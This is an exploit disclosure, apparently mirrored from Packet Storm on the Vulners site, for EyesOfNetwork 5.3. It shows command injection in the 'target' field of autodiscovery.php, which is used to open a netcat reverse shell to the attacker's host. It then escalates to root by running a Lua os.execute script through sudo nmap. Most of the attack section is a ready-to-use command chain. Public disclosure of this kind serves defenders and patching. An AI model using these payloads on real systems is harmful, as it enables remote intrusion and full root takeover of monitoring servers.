Lucene search
K

EyesOfNetwork 5.3 Remote Code Execution / Privilege Escalation

🗓️ 11 Jan 2021 00:00:00Reported by Audencia Business School Red TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 221 Views

EyesOfNetwork 5.3 Remote Code Execution / Privilege Escalation, uncontrolled input, RCE, PrivEs

Code
`# Exploit Title: EyesOfNetwork 5.3 - RCE & PrivEsc  
# Date: 10/01/2021  
# Exploit Author: Audencia Business SCHOOL Red Team  
# Vendor Homepage: https://www.eyesofnetwork.com/en  
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso  
# Version: 5.3  
  
#Authentified Romote Code Execution flaw > remote shell > PrivEsc  
#  
#An user with acces to "/autodiscover.php" can execute remote commande, get a reverse shell and root the targeted machine.  
  
==============================================  
Initial RCE  
  
In the webpage : https://EyesOfNetwork_IP/lilac/autodiscovery.php  
  
The "target" input is not controled. It's possible tu put any commands after an "&", RCE is possible with a simple netcat commande like :   
  
& nc -e /bin/sh <IP> <PORT>  
==============================================  
PrivEsc  
  
The EyesOfNetwork apache user can run "nmap" with sudo privilege and with NOPASSWD attribut, so it's possible to become the root user when using classic PrivEsc methode :  
  
echo 'os.execute("/bin/sh")' > /tmp/nmap.script  
sudo nmap --script=/tmp/nmap.script  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation